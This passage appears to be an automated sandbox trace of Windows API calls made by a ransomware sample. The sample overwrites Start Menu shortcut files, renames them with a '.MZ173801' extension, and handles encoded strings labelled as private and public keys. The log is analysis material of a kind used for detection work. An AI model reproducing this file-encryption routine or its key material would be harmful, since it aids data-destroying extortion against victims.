menu\\programs\\system tools\\command prompt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4c08a146, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x476)) returned 1 [0193.802] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk")) returned 0x20 [0193.802] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk", dwFileAttributes=0x80) returned 1 [0194.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0194.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0194.539] GetCurrentThreadId () returned 0xab4 [0194.539] GetCurrentThreadId () returned 0xab4 [0194.539] GetCurrentThreadId () returned 0xab4 [0194.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0194.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0194.540] GetCurrentThreadId () returned 0xab4 [0194.540] GetCurrentThreadId () returned 0xab4 [0194.540] GetCurrentThreadId () returned 0xab4 [0194.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0194.541] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0194.541] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0194.541] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x476 [0194.541] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0194.541] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x476, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x476, lpOverlapped=0x0) returned 1 [0194.543] CloseHandle (hObject=0x330) returned 1 [0194.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0195.096] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x476, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x476, lpOverlapped=0x0) returned 1 [0195.097] CloseHandle (hObject=0x330) returned 1 [0195.335] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk.mz173801")) returned 1 [0195.642] GetCurrentThreadId () returned 0xab4 [0195.643] GetCurrentThreadId () returned 0xab4 [0195.643] GetCurrentThreadId () returned 0xab4 [0195.643] GetCurrentThreadId () returned 0xab4 [0195.643] GetCurrentThreadId () returned 0xab4 [0195.643] GetCurrentThreadId () returned 0xab4 [0195.643] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="computer.lnk", cAlternateFileName="")) returned 1 [0195.643] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0195.643] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0195.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14f)) returned 1 [0195.643] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk")) returned 0x20 [0195.643] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk", dwFileAttributes=0x80) returned 1 [0195.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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